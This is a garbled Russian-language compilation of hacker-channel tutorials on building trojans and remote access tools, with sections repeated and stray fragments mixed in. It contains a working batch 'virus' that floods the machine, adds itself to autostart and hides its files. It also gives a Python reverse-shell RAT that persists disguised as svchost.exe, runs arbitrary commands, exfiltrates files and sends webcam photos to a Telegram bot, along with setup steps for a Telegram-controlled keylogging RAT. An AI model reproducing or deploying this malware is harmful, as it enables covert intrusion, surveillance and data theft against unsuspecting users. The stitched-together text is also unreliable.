Функционал пока слабоват, но это только второй урок, по мере новых уроков будем повышать функционал.
Полный код
Не стоит копировать код из Telegraph’а там теряется вся табуляция, могут быть ошибки, а может и вообще не работать.
Так что, вот код, я его выложил на pastebin, с него копировать можно.
КОД НА PASTEBIN ( кликабельно)
На этом всё. Мы создали уже хоть какой-то функционал, но это ещё оочень сыро, в следующих частях будет добавлять функционал нашему RAT’нику. Дальше — больше.
BLACK CODE, чернее только Vantablack.
Канал: BLACK CODE
Литература Хакера: @archivehacker
Лучший обменник криптовалюты в Telegram: Chatex
Админ: @blackcode_admin
Крадущийся питон. Создаем простейший троян на Python
Конечно, приведенные в статье скрипты никак не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют напрочь. Тем не менее при некоторой смекалке их возможно использовать для несложных пакостей — например, вырубить чей‑нибудь компьютер в классе (или в офисе, если в классе ты не наигрался).
Теория
Итак, что вообще такое троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт.
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго. Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
warning
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Помни об этом.
Определяем IP
Сначала нам (то есть нашему трояну) нужно определиться, где он оказался. Важная часть твоей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
Обе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой pip .
Если ты видишь ошибку, что у тебя отсутствует pip, сначала нужно установить его с сайта pypi.org. Любопытно, что рекомендуемый способ установки pip — через pip, что, конечно, очень полезно, когда его нет.
Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно.
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее.
Я выбрал сайт api. ipify. org , так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
Никогда не встречал конструкции типа print( f’ ‘) ? Буква f означает форматированные строковые литералы. Простыми словами — программные вставки прямо в строку.
Строковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это тебе на JavaScript!).
Вирус удалённого управления компьютером. Многофункциональный RAT на компьютер с управлением через Telegram.
На портале GitHub был опубликован исходный код нового трояна для удаленного доступа (RAT), использующего протокол Telegram для хищения информации с инфицированных устройств. RATAttack устанавливает зашифрованный канал между оператором и зараженным устройством с помощью протокола Telegram. Как утверждает разработчик инструмента, основная проблема большинства существующих на сегодняшний день RAT заключается в том, что они не используют шифрование и их операторы вынуждены настраивать переадресацию портов на устройстве жертвы для управления инфицированным компьютером.
Вирусописатель решил исправить это упущение и представил собственный инструмент под названием RATAttack, который устанавливает зашифрованный канал между оператором и жертвой, используя протокол Telegram. Прежде, чем начинать атаку, владелец RATAttack должен создать бот Telegram и встроить его токен (ключ) в конфигурационный файл трояна. Таким образом все инфицированные устройства будут подключаться к каналу бота и атакующий получит возможность отправлять простые команды для управления RATAttack на зараженном компьютере.
Вот список, что может данный ратник, а теперь пойдём дальше
Как установить?
Что необходимо для ратника:Python 3.8(32 bit)+ необходимые модули, бот в телеграме, его ключ и ваш ID . Установив питон,скачав архив, открываем файл RAT через IDLE например
Видим данные строки
в token мы пропишем токен бота, а в adm — ваш ID телеграма.
Но сейчас надо поставить модули.
открываем консоль и прописываем:
pip3 install python-opencv
pip3 install pytelegrambotapi
pip3 install pypiwin32
pip3 install pyaudio
Создаем бота в телеграме у @BotFather, после чего находим API
копируем длинную строчку без кавычек.
вставляем в RAT.py в строку token.
У бота @userinfobot узнаём свой ID. Тоже вставляем в RAT.py в строку adm
После чего,нажимаем Run Module(F5)
Бот прислал нам оповещение
Троян может действовать в качестве кейлоггера, собирать данные об установленной версии ОС Windows, процессоре и т.д., IP-адресе и приблизительном местоположении хоста, отображать сообщения, загружать и выгружать различные файлы, делать скриншоты, исполнять любые файлы на целевом компьютере, делать снимки с web-камеры, копировать, перемещать и удалять файлы, а также запускать процесс самоуничтожения.
По данным ресурса BleepingComputer, разработчик RATAttack не рекламировал троян на каких-либо хакерских форумах и опубликовал код только на GitHub. В настоящее время он уже удален с портала.
Мистический «отказ от ответственности» будет держать плохих ребят подальше
Как и большинство «темных» разработчиков, которые создают RAT с двойным назначением, разработчик назвал свое творение Remote Administration Tool (Инструмент удаленного администрирования). Даже если часть функций, над которыми он в данный момент работает, обычно обнаруживается во вредоносных троянах. Они не являются легальными инструментами удаленного администрирования, такими как Teamviewer и другие.
Разработчик также не забыл исполнить старый номер, и обязательный «отказ от ответственности» в конце описания RATAttack, надеясь избежать последствий, к которым приведут злоумышленники, используя его код, который находится в свободном доступе для слежки за супругами, взлома компаний, или держать диссидентов под наблюдением. Предположительно, этот инструмент должен использоваться только в авторизированных системах. Любое неавторизированное использование данного инструмента без разрешения является нелегальным. Вопрос ПО с двойным назначением, используемым для легальных и преступных целей, недавно обсуждался в новостях.
На гитхабе уже успели сделать форки. Пользователь @mvrozanti даже начал расширение функционала.
Как создать, написать компьютерный вирус?
Создание самых простых вирусов не требует наличия специальных сред для разработки программ. И особых знаний, кстати, тоже. Создать вирусы довольно просто, если использовать для этого командную строку. Для этого нужно немного знать синтаксис командной строки и уметь создавать .bat-файлы.
Что такое .bat-файл и как его создать?
Если очень поверхностно, то это файлы с расширением .bat. Такие файлы несут в себе команды, которые должны быть выполнены командным интерпретатором Windows. Все те команды, которые можно выполнить в окне командной строки, можно вписать в .bat-файл и запустить. Результат будет одинаковым.
Чтобы создать .bat-вирус, нам нужен обычный текстовый редактор. В идеале подойдет для этих целей Блокнот. Создав и открыв новый текстовый документ, Вам нужно вписать туда тот код(команды), которые он должен выполнить. После этого, Вам нужно с помощью меню Сохранить как сохранить этот файл, задав ему какое-либо имя с расширением .bat и указав тип файла Все файлы.
Создаем простейший вирус
В данной статье мы рассмотрим создание вируса, который после своего запуска будет бесконечно открывать окно командной строки. Бесконечно и очень быстро открывающиеся окна командной строки не дадут пользователю спокойно работать. Закрыть их всех не успеет никто и очень скоро они забьют оперативную память компьютера, что в свою очередь сильно затормозит работу компьютера, вплоть до полного зависания. Выглядеть это будет приблизительно так:
Вдобавок, мы закинем наш вирус в автозагрузку, что обеспечит автоматический запуск вируса вместе с операционной системой.
Код создаваемого вируса
Сколько программистов, столько разных решений можно придумать для каждой задачи. Я приведу один из своих методов решения такой задачи.
[code]md c:papka
echo start c:papkavirus.bat>c:papkavirus.bat
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionRun /v virus /d c:papkavirus.bat
attrib +r +h +s c:papka
attrib +r +h +s c:papkavirus.bat
start c:papkavirus.bat
del %0[/code]
А теперь разберем сам код. Первая строчка создает папку с именем papka в корне диска C:/. Такой адрес приведен только для примера. Использование же корня папки C:/ не совсем хороший вариант для вируса. Если Вы хотите обеспечить хорошую выживаемость Вашему вирусу, лучше всего спрятать его подальше. Первую команду можно даже пропустить, если Вы закинете сам вирус в уже созданную директорию.
Вторая строчка создает файл c:papkavirus.bat и, с помощью команды echo, вписывает в него команду start c:papkavirus.bat. Тут нужно знать, что после знака > указывается место вывода приведенной команды. Тут Вам нужно познакомится: c:papkavirus.bat и есть основное тело вируса. Созданный нами .bat-файл с кодом, который мы сейчас разбираем, является всего лишь установщиком нашего основного вируса. Вы можете использовать другое название и другое местоположение для вируса.
Третья строчка закидывает созданный нами во второй строчке тело вируса в автозагрузку. Для этого используется пользовательская ветка реестра, так как к ней у пользователя всегда есть доступ. А вот использовать автозагрузку компьютера не безопасно, так как пользователь может не иметь административного доступа, что вызовет ненужную ошибку.
Четвертая и пятая строка кода изменяют атрибуты вируса и папки, где хранится вирус. Данными командами, а для этого используется команда attrib, мы добавляем атрибуты Только чтение, Скрытый и Системный и для папки, и для вируса. Использование атрибута r(Только чтение) необязательно. А вот атрибуты Скрытый и Системный хорошо защитят созданный нами вирус. Если не верите, то почитайте статью про вирус, который превращает папки на флешке в ярлыки. Он использует именно эту технологию.
6-ая строчка кода запускает наш вирус. Вы можете пропустить этот пункт, если хотите, чтобы первый запуск вируса произошел только после перезагрузки компьютера.
И, наконец-то, последняя, 7-ая строчка удаляет данный .bat-вирус. Это полезно, так как по этому .bat-файлу можно спокойно выйти на созданный нами вирус и удалить его.
Смысл созданного вируса
Смысл вируса, который уместился в эти 7 строк — создать основной вирус, защитить его и обеспечить его постоянную работу. А так же подмести свои следы. А что делает основной вирус? После запуска основного вируса, он выполняет ту команду, которая вписана в нее. А это команда, в свою очередь, запускает наш вирус, который опять-таки снова запускает самого себя. И так до бесконечности.
Как бороться с такими вирусами?
Во-первых, начало борьбы с данным вирусом начнется после того, как он запуститься. Очень скоро вирус заполнит своими копиями оперативную память и Вы даже мышкой шевельнуть не сможете. Поэтому, такой спектакль нужно пресекать сразу. Для этого прекрасно подойдет кнопка Break на клавиатуре. Жмите ее столько, сколько понадобится, чтобы новые копии перестали создаваться. На клавиатурах без кнопки Break, может помочь сочетание клавиш Ctrl+C.
Как удалить такой вирус?
Вы можете найти и удалить вирус через его запись в автозагрузке(подробнее по ссылке). А так же Вы можете выйти на вирус по команде, которая будет высвечиваться в окне командного интерпретатора. Естественно, если Вы сможете добраться до скрытого и системного файла. Вот таким образом происходит создание простого вируса.
Морфемный разбор слова:
Однокоренные слова к слову:
Содержание статьи
Конечно, приведенные в статье скрипты никак не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют напрочь. Тем не менее при некоторой смекалке их возможно использовать для несложных пакостей — например, вырубить чей‑нибудь компьютер в классе (или в офисе, если в классе ты не наигрался).
Теория
Итак, что вообще такое троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт.
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго. Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
warning
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Помни об этом.
Определяем IP
Сначала нам (то есть нашему трояну) нужно определиться, где он оказался. Важная часть твоей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
Если ты видишь ошибку, что у тебя отсутствует pip, сначала нужно установить его с сайта pypi.org. Любопытно, что рекомендуемый способ установки pip — через pip, что, конечно, очень полезно, когда его нет.
Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно.
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее.
Вывести информацию еще проще:
Строковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это тебе на JavaScript!).
Источник
Как написать троян на Python
В этой статье я расскажу, как написать простой троян на Python с удаленным доступом, а для большей скрытности мы встроим его в игру. Даже если вы не знаете Python, то сможете лучше понять, как устроены такие вредоносы, и поупражняться в программировании.
Конечно, приведенные в статье скрипты совсем не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют вовсе. Тем не менее при желании их возможно использовать для несложных пакостей или приколов.
Как написать троян на Python
Итак, что есть троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт и шпионить за пользователем. Подробнее о троянах в статье «Что такое RAT».
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго.
Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
Определение IP-адреса
Для начала нам (то есть нашему трояну) нужно понять, где он оказался. Важная часть вашей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
Код получения внешнего и внутреннего адресов будет таким. Обратите внимание, что, если у жертвы несколько сетевых интерфейсов (например, WiFi и Ethernet одновременно), этот код может вести себя неправильно.
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все несколько сложнее.
Вывести информацию еще проще:
Запустив этот скрипт, мы сможем определить IP-адрес нашего (или чужого) компьютера.
Бэкконнект по почте
Теперь напишем скрипт, который будет присылать нам письмо.
Импорт новых библиотек (обе нужно предварительно поставить через pip wbr / > install ):
Пишем базовую информацию о себе:
Дальше сформируем письмо:
Последний штрих — настроить подключение к почтовому сервису. Я пользуюсь Яндекс.Почтой, поэтому настройки выставлял для нее.
Полный код этой части трояна:
После запуска скрипта, получаем письмо.
Этот скрипт я проверил на VirusTotal. Результат на скрине.
Создание трояна на Python
По задумке, троян представляет собой клиент‑серверное приложение с клиентом на машине атакуемого и сервером на запускающей машине. Должен быть реализован максимальный удаленный доступ к системе.
Как обычно, начнем с библиотек:
Для начала напишем игру «Угадай число». Тут все крайне просто, поэтому задерживаться долго не буду.
Если бы мы написали так, то при вводе чего угодно, кроме числа, выпадала бы ошибка, а этого допустить нельзя, так как ошибка заставит программу остановиться и обрубит соединение.
Вот код нашего трояна. Ниже мы будем разбираться, как он работает, чтобы не проговаривать заново базовые вещи.
Сначала нужно разобраться, что такое сокет и с чем его едят. Сокет простым языком — это условная вилка или розетка для программ. Существуют клиентские и серверные сокеты: серверный прослушивает определенный порт (розетка), а клиентский подключается к серверу (вилка). После того как установлено соединение, начинается обмен данными.
Нельзя будет принять больше 1024 байт (1 Кбайт) за один раз, но нам это и не нужно: часто вы руками вводите в консоль больше 1000 символов? Пытаться многократно увеличить размер буфера не нужно — это затратно и бесполезно, так как нужен большой буфер примерно раз в никогда.
Текущая кодовая страница
При приеме команды нужно определить, не служебная ли она. Если так, выполняем определенные действия, иначе, если включен терминал, перенаправляем команду туда. Недостаток — результат выполнения так и остается необработанным, а его хорошо бы отправлять нам. Это будет вам домашним заданием: реализовать эту функцию можно от силы минут за пятнадцать, даже если гуглить каждый шаг.
Результат проверки клиента на VirusTotal порадовал.
Базовый троян написан, и сейчас можно сделать очень многое на машине атакуемого, ведь у нас доступ к командной строке. Но почему бы нам не расширить набор функций? Давайте еще пароли от WiFi!
Создание WiFi-стилера на Python
Задача — создать скрипт, который из командной строки узнает все пароли от доступных сетей Wi-Fi.
Источник
Делаем свою крысу. RAT на Python
Чтобы получить контроль над скомпрометированной системой, злоумышленник обычно стремится получить доступ к интерактивной оболочке для выполнения произвольной команды. С таким доступом они могут попытаться повысить свои привилегии, чтобы получить полный контроль над операционной системой. Однако большинство систем находятся за брандмауэрами, и прямые подключения к удаленной оболочке невозможны. Одним из методов, используемых для обхода этого ограничения, является reverse shell.
Reverse Shell (или Reverse TCP, или connect-back, или обратное подключение) — это схема взаимодействия с удалённым компьютером. При её использовании нужно, чтобы атакующий сначала запустил на своей машине сервер, при этом целевая машина будет играть роль клиента, который подключается к этому серверу, после чего атакующий получает доступ к оболочке целевого компьютера.
Основной причиной, по которой злоумышленники часто используют обратные оболочки, является то, как настроено большинство брандмауэров. Атакованные серверы обычно разрешают соединения только через определенные порты. Например, выделенный веб-сервер будет принимать подключения только через порты 80 и 443. Это означает, что на атакованном сервере невозможно установить прослушиватель.
С другой стороны, брандмауэры обычно вообще не ограничивают исходящие соединения. Поэтому злоумышленник может установить сервер на своей машине и создать обратное соединение. Все что нужно — это машина имеющая статический IP-адрес, открытый порт и инструмент, такой как netcat, для создания слушателя и привязки к нему доступа оболочки.
Netcat — утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, многие не знают способы ее применения и незаслуженно обходят ее стороной.
С помощью данной утилиты можно производить некоторые этапы при проведении тестирования на проникновение. Это может быть полезно, когда на атакованной машине отсутствуют (или привлекут внимание) установленные пакеты, есть ограничения (например IoT/Embedded устройства) и т.д.
Что можно сделать с помощью netcat:
Вместо netcat, мы будем использовать собственный клиент-сервер на питоне, но прежде, чем перейдем к написанию такого софта, стоит ознакомится с примера создания reverse shell и их использованием в связке с netcat.
Создать обратные оболочки очень просто, используя разные инструменты и языки. Во-первых, вам нужен слушатель на вашей локальной машине с публичным IP. На компьютере с Linux все, что вам нужно, это следующая команда netcat:
И сам реверс шел на пайтоне:
Внушительный список шелов на разных языках вы можете найти в репозитории гитхаба:
Создание программы
Сервер
Начнем с создания сервера. Нам понадобиться библиотека socket, она уже предустановлена в питоне поэтому никаких других библиотек не понадобится.
Импортируем библиотеки и создаем ключевую переменную:
import socket
import sys
HOST = ‘IP’ # Айпи атакующего (Ваш)
s = socket.socket(socket.AF_INET, sock et.SOCK_STREAM)
Теперь создадим простенькую функцию, в которой будем проверять введен ли порт для прослушивания:
# Проверка был ли введен порт для прослушивания
try:
PORT = int(sys.argv[1])
except Exception as ex:
print(‘Usage: python3 reverse_shell_server.py
Если введена команда python3 reverse_shell_server.py, то мы выведем сообщение о том, что порт не был указан:
Usage: python3 reverse_shell_server.py
Главная функция в которой будет обработчик команд:
def main():
# Ожидание подключения
s.bind((HOST, PORT))
s.listen(10)
print(‘RSBF server listening on port <>. ‘.format(PORT))
# Принятие подключения
conn, _ = s.accept()
# Обработчик команд
while True:
# Переменная с командой
cmd = input(‘RSBF> ‘).rstrip()
# Отправляем команды клиенту
conn.send(bytes(cmd, encoding=»utf-8″, errors=»ignore»))
# Останавливаем сервер
if cmd == ‘exitrat’:
s.close()
sys.exit(0)
# Функция загрузки файлов
if cmd == «downloadfile»:
# Имя файла в который будут записаны байты
f = open(«FILENAME», «wb»)
while True:
# Получаем байты
data = conn.recv(4096)
if not data:
break
# Записываем байты в файл
f.write(data)
f.close()
print(‘Done sendingn’)
# Переменная с ответом от сервера
data = conn.recv(4096)
print(str(data, encoding=»utf-8″, errors=»ignore»))
В конце фала пишем это:
if __name__ == ‘__main__’:
main()
Таким образом мы запустим функцию main.
Клиент
Нужные переменные и библиотеки:
import os
import socket
import subprocess
from time import sleep
# Айпи атакующего
HOST = ‘IP’
# PПорт на который клиент будет подключатся
PORT = 9999
Напишем небольшую функцию, которая будет помещать наш скрипт в автозагрузку:
def auto_run():
# Имя скомпилированного файла
filename = «program54.exe»
# Имя пользователя Windows
username = os.getlogin()
# Путь к папке с автозагрузкой
startup = (r’C:/Users/’ + username + r’/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/’)
# Проверка существует ли файл в автозагрузке
if os.path.exists(str(startup + r’svchost.exe’)) == True:
# Отправляем сообщение на сервер
s.send(bytes(«nRAT already at startup foldern», encoding=»utf-8″, errors=»ignore»))
else:
os.system(«copy » + filename + » » + ‘»‘ + startup + ‘»‘ + r’svchost.exe’)
# Отправляем сообщение на сервер
s.send(bytes(«nRAT added at startup foldern», encoding=»utf-8″, errors=»ignore»))
Если файл уже находится в автозагрузке, то на сервер придет сообщение:
RAT already at startup folder
Если же файл добавился в автозагрузку:
RAT added at startup folder
Функция подключение к серверу:
# Функция подключения
def main():
try:
s.connect((HOST, PORT))
session()
except:
sleep(500)
s.connect((HOST, PORT))
session()
s.connect((HOST, PORT)) – подключает сокет к айпи и порту который мы указали раннее.
session() – запустит функцию которую мы сейчас напишем.
# Обработчик команд
def session():
while True:
data = s.recv(1024)
cmd = str(data, encoding=»utf-8″, errors=»ignore»)
if cmd == ‘shutdownrat’:
s.close()
exit(0)
Основа обработчика готова, теперь нужно добавить команд и исключений к ним же. Команды будут выглядеть следующим образом:
If cmd == ‘название_команды’
Функция которую вы хотите выполнять
s.send(bytes(вывод функции, encoding=»utf-8″, errors=»ignore»))
# AUTORUN
elif cmd == «autorun»:
auto_run()
# CD
elif cmd[:2] == «cd»:
try:
# Отправка аргументов команды в os.chdir
os.chdir(data[3:])
pwd = os.getcwd()
s.send(bytes(pwd, encoding=»utf-8″, errors=»ignore»))
except Exception as ex:
s.send(bytes(«Error:n» + str(ex) + «n», encoding=»utf-8″, errors=»ignore»))
# PWD
elif cmd == «pwd»:
try:
# Переменная с текущей директорией
pwd = os.getcwd()
s.send(bytes(pwd, encoding=»utf-8″, errors=»ignore»))
except Exception as ex:
s.send(bytes(«Error:n» + str(ex) + «n», encoding=»utf-8″, errors=»ignore»))
Теперь сделаем универсальную функцию которая будет брать команду и выполнять ее, дабы не писать кучу elif:
# Если длина команды > 0, посылаем ее в консоль subprocess
elif len(cmd) > 0:
try:
command = subprocess.Popen(data[:].decode(«utf-8»), shell=True, stdout=subprocess.PIPE,
stdin=subprocess.PIPE, stderr=subprocess.PIPE)
# Переменная с ответом от subprocess
output_byte = command.stdout.read() + command.stderr.read()
# Конвертируем output_byte в строку
output_str = str(output_byte, «utf-8″, errors=»ignore»)
# Отправляем output_str на сервер
s.send(bytes(output_str, encoding=»utf-8″, errors=»ignore»))
except Exception as ex:
s.send(bytes(«Error:n» + str(ex) + «n», encoding=»utf-8″, errors=»ignore»))
Функция скачивания файлов:
# GETFILE
elif cmd == «getfile»:
try:
# Имя файла для отправки
file_to_send = «FILENAME»
# Открытие файла
f = open(file_to_send, «rb»)
# Отправка файла
data_to_send = f.read()
s.send(data_to_send)
f.close()
s.send(bytes(«nFile has been sentn» + «n», encoding=»utf-8″, errors=»ignore»))
except Exception as ex:
s.send(bytes(«Error:n» + str(ex) + «n», encoding=»utf-8″, errors=»ignore»))
Вместо одного файла вы можете сделать функцию которая соберет все txt файлы на рабочем столе в архив и уже его отправит вам, но я это показывать не буду, вместо этого мы сделаем еще одну команду которая будет POST запросом слать нам фото с вебкамеры в телеграм бота:
from requests import post
try:
camera_port = 0
cap = VideoCapture(camera_port, CAP_DSHOW)
for i in range(30):
cap.read()
ret, frame = cap.read()
imwrite(r»C:WindowsTempscreen.png», frame)
cap.release()
destroyAllWindows()
photo = open(r»C:WindowsTempscreen.png», ‘rb’)
files = <‘document’: photo>
post(«https://api.telegram.org/bot» + bot_token + «/sendDocument?chat_id=» + chat_id, files=files)
photo.close()
os.system(r»del C:WindowsTempscreen.png»)
except Exception as ex:
s.send(bytes(«Error:n» + str(ex) + «n», encoding=»utf-8″, errors=»ignore»))
Ну и в обработчике команд это будет выглядеть следующим образом:
elif cmd == «webcam»:
try:
web_cam()
pwd = os.getcwd()
s.send(bytes(pwd, encoding=»utf-8″, errors=»ignore»))
except Exception as ex:
s.send(bytes(«Error:n» + str(ex) + «n», encoding=»utf-8″, errors=»ignore»))
В конце фала пишем это:
if __name__ == ‘__main__’:
main()
Таким образом мы запустим функцию main.
Заключение
Теперь ты знаешь как написать не только хитрый однострочик но и полноценный бэкдор который передоставит управление машиной. Думаю, ты уже ощущаешь невероятную мощь и готов к экспериментам. Желаю удачи с ними!
Вес скомпилированного ехе без управления вебкамерой примерно 9 мегабайт, весь проект вы можете скачать тут:
Данная статья написана только в образовательных целях и автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий.
Источник
Как написать ратник на python
Microsoft Windows Remote Administrator Tool
Developer: Ahoora Mansouri
Powered By The404Hacking
Digital Security ReSearch Group
Robot for initial Windows-Python-RAT testing
Example for Replace Token:
Video Tutorial Setting Up a Startup on a RAT: Watch
Windows-Python-RAT requires Python version 2.7.x
Download Python Version 2.7.13: Click Here
Learning Install Python on Microsoft Windows: Click Here
To use the Windows-Python-RAT, you need to install the following modules in your python.
For automatic installation, you can first open the Setup.py ( python Setup.py ) file and select the [1] Install Module option.
Download from Telegram Channel or PicoFile and Click on Autopy.exe for Install.
Password autopy-[@The404Hacking].rar File is: @The404Hacking
AutoPy Module in Python
learning Install AutoPy Module on Python 2: Watch
Download from Telegram Channel or PicoFile and Click on Autopy.exe for Install.
Password autopy-[@The404Hacking].rar File is: @The404Hacking
Clone and Run Setup
Download and Clone
The404Hacking | Digital UnderGround Team
Источник
RAT вирус написанный на Python использует протокол Telegram
Недавно был создан Remote Access Trojan (RAT), который использует протокол Telegram для кражи пользовательских данных через зараженное устройство. RAT написан в Python и в данный момент находится в свободном доступе для скачивания на порталах обмена кодами (Github).
Создатель RAT, утверждает, что целью создания RAT была исключительно оптимизация и улучшение выполняемой работы для RAT. Автор подчеркивает, что главная проблема с большей частью RAT в том, что они не используют шифрование и запрашивают включение переадресации порта на устройстве жертвы для контроля зараженных хостов. Разработчик предлагает его собственный инструмент, под названием RATAtack, который использует протокол Telegram для поддержки зашифрованного канала жертвы и создателя канала, и не требует переадресации портов, так как протокол Telegram предусматривает простой метод связи с целью без предварительной настройки порта.
RAT работает через ботов в Telegram
Перед появлением RATatack, пользователь RAT должен создать бота в Telegram, взять маркер этого бота и поместить его в конфигурационный файл RAT. После заражения жертвы RATAttack, все хосты соединяются с каналом бота. Владелец RATAttack может подключиться к тому же каналу и пользоваться простыми инструкциями для управления клиентами RATatack в зараженных хостах. В соответствии с нынешней версией RATAttack, поддерживаются следующие команды:
Интерфейс RAT в Telegram
Ниже указаны некоторые функции RATAttack, а также находящиеся в доработке:
Функции в разработке:
RATAttack написан на Python 2.7, но автор обещал версию для Python 3.X.
Мистический «отказ от ответственности» будет держать плохих ребят подальше
Как и большинство «темных» разработчиков, которые создают RAT с двойным назначением, разработчик назвал свое творение Remote Administration Tool (Инструмент удаленного администрирования). Даже если часть функций, над которыми он в данный момент работает, обычно обнаруживается во вредоносных троянах. Они не являются легальными инструментами удаленного администрирования, такими как Teamviewer и другие.
Разработчик также не забыл исполнить старый номер, и обязательный «отказ от ответственности» в конце описания RATAttack, надеясь избежать последствий, к которым приведут злоумышленники, используя его код, который находится в свободном доступе для слежки за супругами, взлома компаний, или держать диссидентов под наблюдением. Предположительно, этот инструмент должен использоваться только в авторизированных системах. Любое неавторизированное использование данного инструмента без разрешения является нелегальным. Вопрос ПО с двойным назначением, используемым для легальных и преступных целей, недавно обсуждался в новостях.
Источник